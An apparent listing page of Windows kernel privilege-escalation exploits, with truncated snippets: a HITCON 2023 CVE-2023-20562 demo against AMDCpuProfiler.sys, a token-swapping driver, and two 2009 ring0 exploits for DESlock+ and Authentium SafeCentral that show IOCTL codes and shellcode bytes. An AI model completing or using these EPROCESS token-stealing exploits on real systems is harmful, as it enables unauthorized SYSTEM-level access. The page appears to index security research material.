HITCON-2023-Demo-CVE-2023-20562

HITCON 2023 Demo CVE-2023-20562 Description This demonstration took place at HITCON 2023 in Taiwan. The demo highlights the exploitation of AMDCpuProfiler.sys within AMD μProf. By triggering an arbitrary write on the EPROCESS token, privilege escalation to SYSTEM level is achieved. Disabling the...

Tokenizer

Tokenizer Tokenizer is a kernel mode driver project that allows the replacement of a process token in EPROCESS with a system token, effectively elevating the privileges of the process, The driver is designed to be used with a user-mode application that sends a process ID to the driver through an...

DESlock+ <= 4.1.10 vdlptokn.sys Local Kernel ring0 SYSTEM Exploit

Exploit for windows platform in category local exploits / deslock-vdlptokn.c Copyright c 2009 by DESlock+ include include include define VDLPTOKNIOCTL 0x00222010 define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000CF8 define ARGSIZEa a/sizeof void / Win2k3 SP1/2 - kernel EPROCESS token...

Authentium SafeCentral 2.6 - 'shdrv.sys' Local Kernel Ring0 SYSTEM

/ safecentral-unharden-v2.c Copyright c 2009 by Authentium SafeCentral include include include define SAFECNTRLIOCTL 0x00226003 static unsigned char win32fixup = "\x53" "\xb8\x00\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\x8b\x00" "\x89\x03" "\x31\xdb" "\x4b" "\x89\x18"; / Win2k3 SP1/2 - kernel EPROCE...